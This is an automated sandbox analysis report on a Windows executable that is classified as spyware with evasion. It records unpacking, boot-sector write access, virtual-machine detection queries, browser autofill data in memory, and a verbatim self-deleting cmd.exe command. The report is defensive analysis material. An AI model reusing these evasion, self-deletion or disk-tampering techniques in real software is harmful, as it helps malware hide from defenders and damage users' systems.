Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: app.exe.0.dr	Binary string: Could not open \device\physicalmemory
Source: app.exe.0.dr	Binary string: Could not map view of %X length %XCould not open \device\physicalmemory\device\physicalmemoryRtlNtStatusToDosErrorNtMapViewOfSectionNtOpenSectionNtUnmapViewOfSectionntdll.dllRtlInitUnicodeString%c

Source: classification engine

Classification label: mal100.spyw.evad.winEXE@10/6@1/2

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_025C2A50 GetModuleHandleW,FormatMessageW,GetLastError,HeapFree,

0_2_025C2A50

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_0040A130 GetVersionExA,CoCreateInstance,CoSetProxyBlanket,VariantInit,lstrlenW,lstrcpynA,WideCharToMultiByte,

0_2_0040A130

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_00423119 EnableWindow,GetActiveWindow,SetActiveWindow,FreeResource,

0_2_00423119

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7152:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5108:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7152:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Mutant created: \Sessions\1\BaseNamedObjects\hrzbaov

Source: C:\Users\user\Desktop\app.exe

File created: C:\Users\user\AppData\Local\Temp\7041956494665639546

Jump to behavior

Source: app.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Name FROM Win32_Process
Source: C:\Users\user\Desktop\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Name FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Users\user\Desktop\app.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\app.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: app.exe, 00000003.00000003.3188734917.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, Web Data.3.dr

Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: app.exe

Virustotal: Detection: 11%

Source: C:\Users\user\Desktop\app.exe

File read: C:\Users\user\Desktop\app.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\app.exe "C:\Users\user\Desktop\app.exe"
Source: C:\Users\user\Desktop\app.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\app.exe	Process created: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe "C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe"
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c timeout /t 5 & del /f /q C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe && exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\Desktop\app.exe	Process created: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe "C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c timeout /t 5 & del /f /q C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe && exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5	Jump to behavior

Source: C:\Users\user\Desktop\app.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: C:\Users\user\Desktop\app.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: app.exe

Static file information: File size 1290240 > 1048576

Source:	Binary string: SRLPR.pdBf source: app.exe, 00000003.00000003.3101475941.00000000055E8000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3127769261.00000000055F6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: grabg::C:\\Users\\user\\Desktop\\GQSZOBXUFX\\RMDIWSRLPR.pdBfGbodyFUk1ESVdTU source: app.exe, 00000003.00000003.3101475941.00000000055E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: GQSZOBXUFX\\RMDIWSRLPR.pdBfIbodyHUk1ESVdTU source: app.exe, 00000003.00000003.3127769261.00000000055F6000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\app.exe	Unpacked PE file: 0.2.app.exe.2560000.2.unpack
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Unpacked PE file: 3.2.app.exe.2530000.2.unpack

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_0042C59F VirtualAlloc,VirtualAlloc,LoadLibraryA,GetProcAddress,

0_2_0042C59F

Source: app.exe	Static PE information: section name: )m&
Source: app.exe.0.dr	Static PE information: section name: )m&

Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00416398 push eax; ret	0_2_004163B6
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00415460 push eax; ret	0_2_00415474
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00415460 push eax; ret	0_2_0041549C
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0047EC7F push FFFFFFA1h; retf	0_2_0047EC82
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00416F33 push ecx; ret	0_2_00416F43
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025F23AD push es; iretd	0_2_025F2454
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025EC6A1 push ecx; ret	0_2_025EC6B4
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025F3881 push eax; ret	0_2_025F3882
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025F691F push eax; ret	0_2_025F6997
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_3_0552C6D7 push cs; iretd	3_3_0552C6D8
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_3_055288A8 pushad ; iretd	3_3_055288A9
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_3_05E6B3EB push ss; retf	3_3_05E6B497
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_3_05E6B3EB push ss; retf	3_3_05E6B497
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025C23AD push es; iretd	3_2_025C2454
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025BC6A1 push ecx; ret	3_2_025BC6B4
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025C3881 push eax; ret	3_2_025C3882
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025C691F push eax; ret	3_2_025C6997

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\app.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,CloseHandle,CreateFileA,DeviceIoControl,CloseHandle,CloseHandle,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,CloseHandle,GetSystemDirectoryA,CopyFileA,CreateFileA,DeviceIoControl,CloseHandle,GetCurrentProcess,SetPriorityClass,GetCurrentDirectoryA,CreateFileA,FindResourceA,LoadResource,LockResource,SizeofResource,WriteFile,FreeResource,CloseHandle,CloseHandle,CreateFileA,DeleteFileA,DeviceIoControl,CloseHandle,CloseHandle, \\.\PhysicalDrive%d	0_2_0040A770
Source: C:\Users\user\Desktop\app.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,CloseHandle,CreateFileA,DeviceIoControl,CloseHandle,CloseHandle,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,CloseHandle,GetSystemDirectoryA,CopyFileA,CreateFileA,DeviceIoControl,CloseHandle,GetCurrentProcess,SetPriorityClass,GetCurrentDirectoryA,CreateFileA,FindResourceA,LoadResource,LockResource,SizeofResource,WriteFile,FreeResource,CloseHandle,CloseHandle,CreateFileA,DeleteFileA,DeviceIoControl,CloseHandle,CloseHandle, \\.\PhysicalDrive%d	0_2_0040A770
Source: C:\Users\user\Desktop\app.exe	Code function: CreateFileA,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	0_2_00409F46

Source: C:\Users\user\Desktop\app.exe

File created: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe

Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\app.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,CloseHandle,CreateFileA,DeviceIoControl,CloseHandle,CloseHandle,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,CloseHandle,GetSystemDirectoryA,CopyFileA,CreateFileA,DeviceIoControl,CloseHandle,GetCurrentProcess,SetPriorityClass,GetCurrentDirectoryA,CreateFileA,FindResourceA,LoadResource,LockResource,SizeofResource,WriteFile,FreeResource,CloseHandle,CloseHandle,CreateFileA,DeleteFileA,DeviceIoControl,CloseHandle,CloseHandle, \\.\PhysicalDrive%d	0_2_0040A770
Source: C:\Users\user\Desktop\app.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,CloseHandle,CreateFileA,DeviceIoControl,CloseHandle,CloseHandle,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,CloseHandle,GetSystemDirectoryA,CopyFileA,CreateFileA,DeviceIoControl,CloseHandle,GetCurrentProcess,SetPriorityClass,GetCurrentDirectoryA,CreateFileA,FindResourceA,LoadResource,LockResource,SizeofResource,WriteFile,FreeResource,CloseHandle,CloseHandle,CreateFileA,DeleteFileA,DeviceIoControl,CloseHandle,CloseHandle, \\.\PhysicalDrive%d	0_2_0040A770
Source: C:\Users\user\Desktop\app.exe	Code function: CreateFileA,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	0_2_00409F46

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Process created: cmd.exe /c timeout /t 5 & del /f /q C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe && exit
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Process created: cmd.exe /c timeout /t 5 & del /f /q C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe && exit			Jump to behavior

Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00401660 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,		0_2_00401660
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0040CFF1 IsIconic,GetWindowPlacement,GetWindowRect,		0_2_0040CFF1

Source: C:\Users\user\Desktop\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Users\user\Desktop\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM CIM_Memory
Source: C:\Users\user\Desktop\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_SMBIOSMemory
Source: C:\Users\user\Desktop\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_MemoryArray
Source: C:\Users\user\Desktop\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_MemoryDevice
Source: C:\Users\user\Desktop\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory
Source: C:\Users\user\Desktop\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_CacheMemory
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM CIM_Memory
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_SMBIOSMemory
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_MemoryArray
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_MemoryDevice
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_CacheMemory

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Users\user\Desktop\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_00408FF2 rdtsc

0_2_00408FF2

Source: C:\Users\user\Desktop\app.exe

Code function: LoadLibraryA,FreeLibrary,GetAdaptersInfo,GetAdaptersInfo,

0_2_00402D69

Source: C:\Users\user\Desktop\app.exe	API coverage: 2.6 %
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	API coverage: 8.1 %

Source: C:\Users\user\Desktop\app.exe TID: 1440	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe TID: 6904	Thread sleep count: 68 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe TID: 1588	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 1928	Thread sleep count: 39 > 30	Jump to behavior

Source: C:\Users\user\Desktop\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
